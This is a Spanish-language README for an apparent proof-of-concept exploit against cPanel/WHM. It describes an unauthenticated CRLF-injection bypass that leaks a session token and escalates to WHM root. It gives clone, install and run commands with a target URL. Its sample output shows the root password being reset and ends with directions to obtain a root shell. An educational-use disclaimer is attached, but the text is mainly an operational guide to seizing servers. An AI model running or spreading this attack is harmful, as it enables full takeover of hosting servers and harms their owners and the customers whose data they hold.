CVE-2026-41940 Exploit Automático

Descripción General

CVE-2026-41940 es un exploit de prueba de concepto (PoC) dirigido a cPanel/WHM.
Este exploit demuestra una omisión de autenticación no autenticada mediante inyección CRLF para filtrar tokens de seguridad y obtener acceso de nivel root a la interfaz WHM, permitiendo acciones como cambiar la contraseña de root.

Aviso: Este PoC es solo para fines educativos. No lo utilice en sistemas sin permiso.

Características

• Descubrimiento automático de hostname: Identifica automáticamente el hostname canónico para omitir las restricciones del encabezado Host.
• Generación de sesión previa a la autenticación: Crea una sesión inicial válida para la inyección.
• Inyección CRLF: Aprovecha la inyección en encabezados para filtrar el cp_security_token.
• Propagación de sesión: Fuerza la inclusión del token filtrado en la caché de autenticación del servidor.
• Restablecimiento de contraseña de root: Cambia automáticamente la contraseña de root de WHM tras una omisión exitosa.
• Dependencias mínimas: Funciona con la biblioteca estándar requests.

Instalación

1. Clone el repositorio:

git clone https://github.com/Rosemary1337/CVE-2026-41940.git
cd CVE-2026-41940

2. Instale las dependencias:

pip install requests

Requisitos: requests, urllib3

Uso

python3 CVE_2026_41940.py --target <URL_OBJETIVO> --password <NUEVA_CONTRASEÑA>

Ejemplo:

python3 CVE_2026_41940.py --target https://target.com:2087 --password MyNewRootPass123!

Argumentos

Salida

La consola muestra:

• Mensajes de estado [0-4]
• Éxito [+]
• Falla [!]
• Información [*]

Ejemplo:

[0] hostname = target.local
[1] minting a preauth session...
    session base = :XLNfFj4XjKuS4f9V
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
    HTTP 307, leaked token = /cpsess0555762073
[3] firing do_token_denied to propagate raw -> cache...
    HTTP 401, gadget fired
[4] verifying we're WHM root...
    /json-api/version -> HTTP 200  {"version":"11.110.0.12"}
[*] changing the root password
    passwd -> HTTP 200
[+] now just login to https://target.com:2087 and use the terminal option to get a root shell

Seguridad y Aviso

• Solo para fines educativos y de prueba.
• No ataque sitios web sin permiso explícito.
• Úselo únicamente en un laboratorio controlado o en pruebas de penetración autorizadas.